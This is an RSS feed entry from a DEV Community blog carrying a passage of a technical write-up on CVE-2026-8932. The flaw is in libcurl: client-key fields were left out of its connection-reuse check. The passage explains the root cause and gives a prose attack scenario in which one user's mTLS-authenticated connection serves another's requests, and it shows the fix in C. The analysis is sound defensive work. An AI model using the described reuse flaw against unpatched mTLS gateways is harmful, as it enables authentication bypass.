<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: GUIDANCE WHITE</title>
    <description>The latest articles on DEV Community by GUIDANCE WHITE (@guidance_white).</description>
    <link>https://dev.to/guidance_white</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4012932%2F1351cb58-618f-4322-9211-adf9506ecbad.png</url>
      <title>DEV Community: GUIDANCE WHITE</title>
      <link>https://dev.to/guidance_white</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/guidance_white"/>
    <language>en</language>
    <item>
      <title>CVE-2026-8932: curl/libcurl mTLS Connection Reuse Vulnerability</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Wed, 23 Sep 2026 04:54:41 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-8932-curllibcurl-mtls-connection-reuse-vulnerability-2ah6</link>
      <guid>https://dev.to/guidance_white/cve-2026-8932-curllibcurl-mtls-connection-reuse-vulnerability-2ah6</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsoeiu9ljkfdrtszyc2qz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsoeiu9ljkfdrtszyc2qz.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-8932&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;libcurl (the &lt;code&gt;curl&lt;/code&gt; CLI itself is not affected)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-305 (Authentication Bypass by Primary Weakness)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;Low (no published CVSS 3.1 from cve.org/Red Hat; curl's own rating is Low)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;7.7 through 8.20.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;8.21.0 (released 2026-06-24)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reporter&lt;/td&gt;
&lt;td&gt;Joshua Rogers (Aisle Research)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;To save time, libcurl keeps TLS connections around in a connection pool and reuses them for later transfers that look like they use the same settings. This vulnerability sits in the logic that decides "are these settings the same?" — a handful of client-certificate options were silently excluded from that comparison. As a result, two easy handles that only differed in &lt;code&gt;SSLKEY&lt;/code&gt;, &lt;code&gt;SSLKEYTYPE&lt;/code&gt;, &lt;code&gt;KEYPASSWD&lt;/code&gt;, &lt;code&gt;SSLCERTTYPE&lt;/code&gt;, or &lt;code&gt;SSLKEYBLOB&lt;/code&gt; could end up sharing the same already-authenticated connection.&lt;/p&gt;

&lt;h2&gt;
  
  
  Root Cause — A Struct Split in Two
&lt;/h2&gt;

&lt;p&gt;libcurl keeps TLS settings in two different structs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ssl_primary_config&lt;/code&gt; — the struct actually used by &lt;code&gt;match_ssl_primary_config()&lt;/code&gt; to decide whether a connection can be reused, and by the TLS session-cache key&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ssl_config_data&lt;/code&gt; — a larger struct holding the rest of the TLS configuration (it embeds &lt;code&gt;ssl_primary_config&lt;/code&gt; as a member)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The problem: the five fields needed to actually open a client certificate — &lt;code&gt;cert_type&lt;/code&gt;, &lt;code&gt;key&lt;/code&gt;, &lt;code&gt;key_type&lt;/code&gt;, &lt;code&gt;key_passwd&lt;/code&gt;, and &lt;code&gt;key_blob&lt;/code&gt; — lived in &lt;code&gt;ssl_config_data&lt;/code&gt;, not &lt;code&gt;ssl_primary_config&lt;/code&gt;. Since &lt;code&gt;match_ssl_primary_config()&lt;/code&gt; only compares &lt;code&gt;ssl_primary_config&lt;/code&gt;, those five fields were entirely outside its field of view. Before the patch, &lt;code&gt;ssl_config_data&lt;/code&gt; looked roughly like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;ssl_config_data&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="cm"&gt;/* ... */&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;cert_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="cm"&gt;/* format for certificate (default: PEM) */&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;         &lt;span class="cm"&gt;/* private key filename */&lt;/span&gt;
  &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;curl_blob&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key_blob&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="cm"&gt;/* format for private key (default: PEM) */&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key_passwd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="cm"&gt;/* plain text private key password */&lt;/span&gt;
  &lt;span class="n"&gt;BIT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;certinfo&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="cm"&gt;/* ... */&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the actual reuse-check function (&lt;code&gt;lib/vtls/vtls.c&lt;/code&gt;) only compared &lt;code&gt;ssl_primary_config&lt;/code&gt; fields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;bool&lt;/span&gt; &lt;span class="nf"&gt;match_ssl_primary_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;Curl_easy&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                      &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;ssl_primary_config&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                      &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;ssl_primary_config&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Curl_safecmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CApath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CApath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
     &lt;span class="n"&gt;Curl_safecmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CAfile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CAfile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
     &lt;span class="n"&gt;Curl_safecmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;issuercert&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;issuercert&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
     &lt;span class="n"&gt;Curl_safecmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;clientcert&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;clientcert&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
     &lt;span class="cm"&gt;/* ... curves, signature_algorithms, pinned_key, etc. ... */&lt;/span&gt;
     &lt;span class="n"&gt;Curl_safecmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CRLfile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CRLfile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
     &lt;span class="n"&gt;Curl_safecmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pinned_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pinned_key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;clientcert&lt;/code&gt; (the certificate file path) was compared, but the fields that determine which private key opens that certificate — &lt;code&gt;key&lt;/code&gt; and &lt;code&gt;key_passwd&lt;/code&gt; — were not. So if two handles used the same &lt;code&gt;SSLCERT&lt;/code&gt; but different &lt;code&gt;SSLKEY&lt;/code&gt; values, the function would still conclude "same config" and let the connection be reused.&lt;/p&gt;

&lt;p&gt;The diagram above shows this split: the left card lists the fields &lt;code&gt;match_ssl_primary_config()&lt;/code&gt; actually compares (&lt;code&gt;ssl_primary_config&lt;/code&gt;), and the right card lists the five fields that were excluded before the patch (&lt;code&gt;ssl_config_data&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsfwc6oykplt1c782do71.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsfwc6oykplt1c782do71.png" alt=" " width="799" height="434"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The TLS session cache had a parallel issue. Its cache key appended a &lt;strong&gt;fixed string&lt;/strong&gt;, &lt;code&gt;":CCERT"&lt;/code&gt;, to represent "this session used a client cert" — without encoding which certificate. So sessions using different client certificates could also collide in the session cache.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack Scenario
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fr7f5tnilxbiyf38agn9r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fr7f5tnilxbiyf38agn9r.png" alt=" " width="800" height="526"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This becomes a real problem in applications where multiple easy handles share a connection pool — via &lt;code&gt;CURLSH&lt;/code&gt; (a share handle) or a multi handle. A typical case is a server-side proxy or API gateway that authenticates different users to a backend over mTLS, each with their own client-certificate private key.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Handle A connects with &lt;code&gt;SSLCERT=client.pem&lt;/code&gt;, &lt;code&gt;SSLKEY=keyA.pem&lt;/code&gt;, completes the mTLS handshake, and the resulting connection is cached in the pool as "authenticated as user A".&lt;/li&gt;
&lt;li&gt;Handle B sends a request using the same &lt;code&gt;SSLCERT=client.pem&lt;/code&gt; but a different &lt;code&gt;SSLKEY=keyB.pem&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;match_ssl_primary_config()&lt;/code&gt; only checks that &lt;code&gt;clientcert&lt;/code&gt; matches, so Handle B is handed the already-authenticated connection from Handle A without a new TLS handshake.&lt;/li&gt;
&lt;li&gt;From the server's point of view, this connection is still verified against user A's mTLS certificate, so it processes Handle B's request as if it came from user A.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The flow above walks through this step by step. In effect, two requests intended to authenticate as different identities end up sharing the same authenticated channel simply because their private keys differed — which is why this was classified as CWE-305 (Authentication Bypass). The curl team was explicit that this is a pure logic flaw, not a memory-safety bug, and pointed to CVE-2022-27782 as a similar prior case.&lt;/p&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/p3H6cX7mTb4" width="315" height="560"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;


&lt;h2&gt;
  
  
  The Patch
&lt;/h2&gt;

&lt;p&gt;The fix in commit &lt;code&gt;7541ae5&lt;/code&gt; &lt;strong&gt;promotes&lt;/strong&gt; the five affected fields from &lt;code&gt;ssl_config_data&lt;/code&gt; into &lt;code&gt;ssl_primary_config&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;ssl_primary_config&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="cm"&gt;/* ... existing fields ... */&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pinned_key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;CRLfile&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;cert_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="cm"&gt;/* moved here */&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;           &lt;span class="cm"&gt;/* moved here */&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;      &lt;span class="cm"&gt;/* moved here */&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key_passwd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="cm"&gt;/* moved here */&lt;/span&gt;
  &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;curl_blob&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;cert_blob&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;curl_blob&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ca_info_blob&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;curl_blob&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;issuercert_blob&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;curl_blob&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key_blob&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="cm"&gt;/* moved here */&lt;/span&gt;
  &lt;span class="cm"&gt;/* ... */&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The comparison function now checks all five. Notably, &lt;code&gt;key_passwd&lt;/code&gt; is compared with &lt;code&gt;Curl_timestrcmp()&lt;/code&gt;, a timing-attack-resistant string comparison:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;bool&lt;/span&gt; &lt;span class="nf"&gt;match_ssl_primary_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;Curl_easy&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                      &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;ssl_primary_config&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                      &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;ssl_primary_config&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* existing comparisons */&lt;/span&gt;
     &lt;span class="n"&gt;Curl_safecmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pinned_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pinned_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
     &lt;span class="n"&gt;curl_strequal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cert_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cert_type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
     &lt;span class="n"&gt;Curl_safecmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
     &lt;span class="n"&gt;curl_strequal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key_type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
     &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Curl_timestrcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key_passwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key_passwd&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the fields moved, every backend file referencing them had to change — 19 files in total, including &lt;code&gt;openssl.c&lt;/code&gt;, &lt;code&gt;gtls.c&lt;/code&gt;, &lt;code&gt;mbedtls.c&lt;/code&gt;, &lt;code&gt;rustls.c&lt;/code&gt;, &lt;code&gt;schannel.c&lt;/code&gt;, &lt;code&gt;wolfssl.c&lt;/code&gt;, &lt;code&gt;libssh.c&lt;/code&gt;, &lt;code&gt;libssh2.c&lt;/code&gt;, and &lt;code&gt;ldap.c&lt;/code&gt;. References like &lt;code&gt;ssl_config-&amp;gt;key&lt;/code&gt; became &lt;code&gt;ssl_config-&amp;gt;primary.key&lt;/code&gt;. The OpenSSL backend, for example, changed like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* before */&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client_cert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;octx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ssl_ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl_cert&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl_cert_blob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl_cert_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                      &lt;span class="n"&gt;ssl_config&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl_config&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key_blob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                      &lt;span class="n"&gt;ssl_config&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl_config&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key_passwd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="cm"&gt;/* after */&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client_cert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;octx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ssl_ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl_cert&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl_cert_blob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl_cert_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                      &lt;span class="n"&gt;ssl_config&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;primary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl_config&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;primary&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key_blob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
